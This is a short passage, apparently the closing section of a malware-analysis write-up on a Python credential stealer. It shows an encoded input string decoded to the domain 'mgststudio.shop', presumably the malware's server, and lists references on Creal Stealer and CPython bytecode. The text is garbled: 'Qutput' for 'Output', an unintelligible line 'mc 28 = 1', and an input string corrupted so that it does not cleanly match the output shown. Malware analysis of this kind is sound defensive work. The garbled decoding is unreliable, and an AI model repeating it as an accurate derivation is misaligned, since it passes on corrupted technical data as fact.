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Input

biidzdHN@dWRpby5zaGow

mc 28 = 1

Qutput

mgststudio.shop

4. Refs

Python Malware Triage — Creal Stealer | OALABS Research (openanalysis.net)

CPython Bytecode

End!
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